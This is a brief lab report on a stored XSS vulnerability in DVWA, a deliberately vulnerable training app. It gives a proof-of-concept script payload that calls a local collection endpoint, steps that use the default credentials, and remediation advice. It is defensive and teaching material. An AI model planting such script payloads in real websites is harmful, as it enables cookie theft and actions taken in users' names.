DVWA — XSS (Stored) (low)

Security Micro-Scan

Client: DVWA Lab
Date: 2025-09-26
Author: Braxton Beck (Ben-Frank17)
Severity: High — Stored XSS persists payload and can affect many users.

Summary

Stored XSS occurs when attacker-supplied data is saved on the server and later rendered in other users' browsers without encoding. This allows persistent script execution.

PoC

Payload: `<script>fetch('http://127.0.0.1:8000/collect?c=1')</script>`
Steps

1. Login to DVWA (`admin` / `password`), set Security = **low**.
2. Navigate to the vulnerable input (e.g., comment or profile field).
3. Submit the payload and save.
4. Open the page as another user or refresh; the script runs. (see screenshot)

Evidence

- Screenshot: `dvwa_xss_stored.png`

Impact

Stored XSS can steal session cookies, perform actions on behalf of victims, or deploy worm-like payloads across users.

Remediation

- Output-encode user-supplied data before rendering.
- Use frameworks that auto-escape template content.
- Implement Content Security Policy and input validation.

Retest

Post a benign test payload and verify it renders escaped text rather than executing.